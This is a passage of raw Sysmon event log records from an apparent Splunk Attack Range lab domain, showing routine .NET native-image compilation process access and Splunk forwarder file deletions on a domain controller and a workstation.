32\ntdll.dll+51781 10341000x800000000000000044677Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:57.461{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1300-00000000F001}92C:\Windows\System32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044676Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:57.461{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1300-00000000F001}92C:\Windows\System32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044675Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:57.461{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1300-00000000F001}92C:\Windows\System32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044674Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:57.421{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F69-613B-B509-00000000F001}5700C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044673Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:57.411{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F69-613B-B509-00000000F001}5700C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044672Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:57.411{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F69-613B-B509-00000000F001}5700C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044671Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:57.351{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F69-613B-B409-00000000F001}6520C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044670Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:57.341{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F69-613B-B409-00000000F001}6520C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044669Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:57.331{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F69-613B-B409-00000000F001}6520C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044668Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:57.291{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F69-613B-B309-00000000F001}476C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044667Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:57.252{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F69-613B-B309-00000000F001}476C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044666Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:57.252{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F69-613B-B309-00000000F001}476C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044665Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:57.252{7BD73061-65B2-613B-0D00-00000000F001}8925164C:\Windows\system32\svchost.exe{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+b4d7|c:\windows\system32\rpcss.dll+8257|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044664Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:57.110{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F69-613B-B209-00000000F001}1368C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044663Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:57.104{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F69-613B-B209-00000000F001}1368C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044662Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:57.104{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F69-613B-B209-00000000F001}1368C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044661Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:57.072{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F69-613B-B109-00000000F001}1008C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044660Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:57.060{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F69-613B-B109-00000000F001}1008C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044659Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:57.060{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F69-613B-B109-00000000F001}1008C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000013973Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:58.540{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=175CE723AF48E3A7A77328B62B9A5247,SHA256=D3832E93C456314E33E28FE2D7F389BD2BDF9869609E33E5F911925223B15449,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000044704Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:58.810{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=26A05AA87DEA4E7FF3E46694846DD558,SHA256=6281020932A8E90B7D1F913DE00957B2FEE19B1FE8E1B92090C3B86EA577BD87,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000044703Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:58.730{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F6A-613B-BB09-00000000F001}6260C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044702Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:58.687{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F6A-613B-BB09-00000000F001}6260C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044701Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:58.686{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F6A-613B-BB09-00000000F001}6260C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 11241100x800000000000000044700Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:58.618{7BD73061-6F6A-613B-BA09-00000000F001}6388C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exeC:\Windows\assembly\NativeImages_v4.0.30319_64\Temp\18f4-0\Microsoft-Windows-HomeGroupDiagnostic.NetListMgr.Interop.dll2021-09-10 14:44:58.618 23542300x800000000000000044699Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:58.568{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=ABDC7146D3507DAC9D982A1F13F8BD5A,SHA256=35802B1607B075D8192DDB4257D0F685DC26F54696C17B44B148881B6DBD71C8,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000044698Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 